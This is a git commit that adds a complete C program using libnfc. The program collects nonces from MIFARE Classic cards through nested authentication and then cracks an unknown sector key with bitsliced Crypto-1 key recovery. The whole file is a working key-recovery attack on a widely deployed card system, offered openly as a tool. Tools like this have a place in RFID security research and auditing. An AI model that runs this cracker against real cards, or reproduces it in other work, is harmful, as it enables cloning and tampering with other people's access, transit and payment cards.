Added libnfc-based reader/cracker

This commit is contained in:
Aram
2016-04-30 05:55:54 +02:00
parent b47c10d83a
commit 3632d31a70

337
libnfc_crypto1_crack.c Normal file
View File

@ -0,0 +1,337 @@
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/sysinfo.h>
#include <nfc/nfc.h>
#include "crypto1_bs_crack.h"
extern uint64_t * crypto1_create(uint64_t key);
extern uint32_t crypto1_word(uint64_t *, uint32_t, int);
extern uint8_t crypto1_byte(uint64_t*, uint8_t, int);
extern uint32_t prng_successor(uint32_t x, uint32_t n);
extern void crypto1_destroy(uint64_t*);
#define MC_AUTH_A 0x60
#define MC_AUTH_B 0x61
nfc_device* pnd;
nfc_target target;
typedef uint8_t byte_t;
uint8_t oddparity(const uint8_t bt)
{
// cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel
return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1;
}
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len)
{
uint64_t num = 0;
while (len--) {
num = (num << 8) | (*src);
src++;
}
return num;
}
static nfc_context *context;
#define MAX_FRAME_LEN 264
uint64_t *nonces = NULL;
size_t nonces_collected;
void nested_auth(uint32_t uid, uint64_t known_key, uint8_t for_block, uint8_t target_block, uint8_t target_key, FILE* fp)
{
uint64_t *pcs;
// Possible key counter, just continue with a previous "session"
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
uint8_t Cmd[4] = { 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
uint8_t Rx[MAX_FRAME_LEN]; // Tag response
uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
uint32_t Nt;
int i;
// Prepare AUTH command
Cmd[0] = target_key;
Cmd[1] = for_block;
iso14443a_crc_append(Cmd, 2);
// We need full control over the CRC
if (nfc_device_set_property_bool(pnd, NP_HANDLE_CRC, false) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool crc");
exit(EXIT_FAILURE);
}
// Request plain tag-nonce
// TODO: Set NP_EASY_FRAMING option only once if possible
if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, false) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool framing");
exit(EXIT_FAILURE);
}
if (nfc_initiator_transceive_bytes(pnd, Cmd, 4, Rx, sizeof(Rx), 0) < 0) {
fprintf(stdout, "Error while requesting plain tag-nonce\n");
exit(EXIT_FAILURE);
}
if (nfc_device_set_property_bool(pnd, NP_EASY_FRAMING, true) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool");
exit(EXIT_FAILURE);
}
// print_hex(Rx, 4);
// Save the tag nonce (Nt)
Nt = bytes_to_num(Rx, 4);
// Init the cipher with key {0..47} bits
pcs = crypto1_create(known_key);
// Load (plain) uid^nt into the cipher {48..79} bits
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ uid, 0);
// Generate (encrypted) nr+parity by loading it into the cipher
for (i = 0; i < 4; i++) {
// Load in, and encrypt the reader nonce (Nr)
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(*pcs) ^ oddparity(Nr[i]);
}
// Skip 32 bits in the pseudo random generator
Nt = prng_successor(Nt, 32);
// Generate reader-answer from tag-nonce
for (i = 4; i < 8; i++) {
// Get the next random byte
Nt = prng_successor(Nt, 8);
// Encrypt the reader-answer (Nt' = suc2(Nt))
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
ArEncPar[i] = filter(*pcs) ^ oddparity(Nt);
}
// Finally we want to send arbitrary parity bits
if (nfc_device_set_property_bool(pnd, NP_HANDLE_PARITY, false) < 0) {
nfc_perror(pnd, "nfc_device_set_property_bool parity");
exit(EXIT_FAILURE);
}
// Transmit reader-answer
int res;
if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
printf("Reader-answer transfer error, exiting..");
exit(EXIT_FAILURE);
}
// Decrypt the tag answer and verify that suc3(Nt) is At
Nt = prng_successor(Nt, 32);
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
printf("[At] is not Suc3(Nt), something is wrong, exiting..");
exit(EXIT_FAILURE);
}
Cmd[0] = target_key;
Cmd[1] = target_block;
iso14443a_crc_append(Cmd, 2);
for (i = 0; i < 4; i++) {
ArEnc[i] = crypto1_byte(pcs, 0, 0) ^ Cmd[i];
ArEncPar[i] = filter(*pcs) ^ oddparity(Cmd[i]);
}
if (((res = nfc_initiator_transceive_bits(pnd, ArEnc, 32, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
printf("Reader-answer transfer error, exiting..");
exit(EXIT_FAILURE);
}
if(fp){
for(i = 0; i < 4; i++){
fprintf(fp,"%02x", Rx[i]);
if(RxPar[i] != oddparity(Rx[i])){
fprintf(fp,"! ");
} else {
fprintf(fp," ");
}
}
fprintf(fp, "\n");
}
if(nonces){
nonces[nonces_collected] = 0;
for(i = 0; i < 4; i++){
nonces[nonces_collected] |= ((uint64_t) Rx[i]) << (8*i);
bool parity = (RxPar[i] != oddparity(Rx[i])) ^ parity(Rx[i]);
nonces[nonces_collected] |= ((uint64_t) parity) << (32 + (8*i));
}
nonces_collected++;
}
crypto1_destroy(pcs);
}
uint32_t uid;
uint32_t **space;
size_t thread_count;
size_t total_states;
void* crack_states_thread(void* x){
const size_t thread_id = (size_t)x;
int j;
for(j = thread_id; space[j * 5]; j += thread_count) {
const uint64_t key = crack_states_bitsliced(space + j * 5);
if(key != -1){
printf("Found key: %012"PRIx64"\n", key);
__sync_fetch_and_add(&keys_found, 1);
break;
} else if(keys_found){
break;
} else {
printf("Cracking... %6.02f%%\n", (100.0*total_states_tested/(total_states)));
}
}
return NULL;
}
void have_enough_states(int sig){
if(nonces && uid){
space = craptev1_get_space(nonces, 95, uid);
}
if(!space){
printf("\rCollected %zu nonces... ", nonces_collected);
fflush(stdout);
signal(SIGALRM, have_enough_states);
alarm(1);
} else {
alarm(0);
}
}
int main (int argc, const char * argv[]) {
nfc_init(&context);
pnd = nfc_open(context, NULL);
if (pnd == NULL) {
printf("No NFC device connection\n");
return 1;
}
nfc_initiator_init(pnd);
nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,false);
// Let the reader only try once to find a tag
nfc_device_set_property_bool(pnd,NP_INFINITE_SELECT,false);
nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
const nfc_modulation nmMifare = {
.nmt = NMT_ISO14443A,
.nbr = NBR_106,
};
uid = 0;
// Enable field so more power consuming cards can power themselves up
nfc_device_set_property_bool(pnd,NP_ACTIVATE_FIELD,true);
if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
uid = bytes_to_num(target.nti.nai.abtUid,target.nti.nai.szUidLen);
}
thread_count = get_nprocs_conf();
pthread_t threads[thread_count];
if(!uid){
goto DISCONNECT;
}
if(argc < 4){
printf("%s <known key> <A|B> <for block> <target block>\n", argv[0]);
}
uint64_t known_key = strtoul(argv[1], 0, 16);
uint8_t target_key = MC_AUTH_A;
if(argv[2][0] == 'b' || argv[2][0] == 'B'){
target_key = MC_AUTH_B;
}
uint8_t for_block = atoi(argv[3]);
uint8_t target_block = atoi(argv[4]);
char filename[20];
sprintf(filename, "0x%04x_%03u.txt", uid, target_block);
/*FILE* fp = fopen(filename, "wb+");*/
FILE* fp = fopen(filename, "wb");
printf("Found tag with uid %04x, collecting nonces for key %s of block %u using known key %012"PRIx64" for block %u\n", uid, target_key == MC_AUTH_A ? "A" : "B", target_block, known_key, for_block);
nonces_collected = 0;
nonces = malloc(sizeof (uint64_t) << 24);
memset(nonces, 0xff, sizeof (uint64_t) << 24);
signal(SIGALRM, have_enough_states);
alarm(1);
while(true){
// Configure the CRC and Parity settings
nfc_device_set_property_bool(pnd,NP_HANDLE_CRC,true);
nfc_device_set_property_bool(pnd,NP_HANDLE_PARITY,true);
// Poll for a ISO14443A (MIFARE) tag
if (nfc_initiator_select_passive_target(pnd,nmMifare,NULL,0,&target)) {
nested_auth(bytes_to_num(target.nti.nai.abtUid, 4), known_key, for_block, target_block, target_key, fp);
} else {
printf("Don't move the tag!\n");
}
if(space){
break;
}
}
fclose(fp);
total_states = craptev1_sizeof_space(space);
size_t i;
printf("initializing BS crypto-1...\n");
crypto1_bs_init();
printf("Using %u-bit bitslices\n", MAX_BITSLICES);
uint8_t rollback_byte = **space;
printf("Bitslicing rollback byte: %02x...\n", rollback_byte);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(rev32((rollback_byte)), bitsliced_rollback_byte, 8);
printf("Bitslicing nonces...\n");
for(size_t tests = 0; tests < NONCE_TESTS; tests++){
// pre-xor the uid into the decrypted nonces, and also pre-xor the uid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
uint32_t test_nonce = uid^rev32(nonces[tests]);
uint32_t test_parity = (nonces[tests]>>32)^rev32(uid);
test_parity = ((parity(test_parity >> 24 & 0xff) & 1) | (parity(test_parity>>16 & 0xff) & 1)<<1 | (parity(test_parity>>8 & 0xff) & 1)<<2 | (parity(test_parity & 0xff) & 1) << 3);
crypto1_bs_bitslice_value32(test_nonce, bitsliced_encrypted_nonces[tests], 32);
// convert to 32 bit little-endian
crypto1_bs_bitslice_value32(~(test_parity)<<24, bitsliced_encrypted_parity_bits[tests], 4);
}
total_states_tested = 0;
keys_found = 0;
printf("Starting %zu threads to test %zu states\n", thread_count, total_states);
for(i = 0; i < thread_count; i++){
pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
}
for(i = 0; i < thread_count; i++){
pthread_join(threads[i], 0);
}
printf("Tested %zu states\n", total_states_tested);
craptev1_destroy_space(space);
DISCONNECT:
// Disconnect from NFC device
nfc_close(pnd);
return 0;
}